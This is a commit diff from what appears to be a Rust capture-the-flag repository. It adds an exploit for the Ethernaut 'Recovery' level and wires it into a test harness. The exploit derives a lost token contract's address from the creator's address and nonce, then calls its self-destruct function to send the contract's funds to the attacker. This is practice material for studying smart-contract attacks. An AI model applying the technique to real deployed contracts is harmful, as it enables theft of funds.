solve ethernaut lvl17

attack/src/ethernaut/hack17_recovery.rs

@@ -0,0 +1,25 @@
+use async_trait::async_trait;
+use ctf::ethernaut::lvl17_recovery::*;
+use ethers::prelude::*;
+
+pub(crate) struct Exploit;
+
+#[async_trait]
+impl ctf::Exploit for Exploit {
+    type Target = Target;
+
+    async fn attack(
+        self,
+        target: &Self::Target,
+        offender: &ctf::Actor,
+    ) -> eyre::Result<()> {
+        let derived_address =
+            ethers::utils::get_contract_address(target.address, 1);
+
+        let token = SimpleToken::new(derived_address, offender.to_owned());
+
+        token.destroy(offender.address()).send().await?.await?;
+
+        Ok(())
+    }
+}

attack/src/ethernaut/mod.rs

@@ -14,6 +14,7 @@ pub mod hack13_gatekeeper_one;
 pub mod hack14_gatekeeper_two;
 pub mod hack15_naught_coin;
 pub mod hack16_preservation;
+pub mod hack17_recovery;
 
 #[cfg(test)]
 mod tests {
@@ -36,6 +37,7 @@ mod tests {
     use hack14_gatekeeper_two as hack14;
     use hack15_naught_coin as hack15;
     use hack16_preservation as hack16;
+    use hack17_recovery as hack17;
 
     #[tokio::test]
     async fn test() -> eyre::Result<()> {
@@ -60,6 +62,7 @@ mod tests {
         ctf::check_exploit(&roles, hack14::Exploit).await?;
         ctf::check_exploit(&roles, hack15::Exploit).await?;
         ctf::check_exploit(&roles, hack16::Exploit).await?;
+        ctf::check_exploit(&roles, hack17::Exploit).await?;
 
         Ok(())
     }

ctf/src/ethernaut/lvl17_recovery.rs

@@ -3,6 +3,7 @@ use async_trait::async_trait;
 use ethers::prelude::*;
 
 pub use crate::abi::recovery::Recovery;
+pub use crate::abi::simple_token::SimpleToken;
 
 #[derive(Debug, Clone, PartialEq, serde::Serialize, serde::Deserialize)]
 pub struct Target {
@@ -16,7 +17,9 @@ impl Level for Target {
         Ok(ctfs.ethernaut.level17)
     }
 
-    fn name(&self) -> &'static str { "Recovery" }
+    fn name(&self) -> &'static str {
+        "Recovery"
+    }
 
     async fn set_up(roles: &Roles) -> eyre::Result<Self> {
         let Roles { deployer, offender: _, some_user: _ } = roles;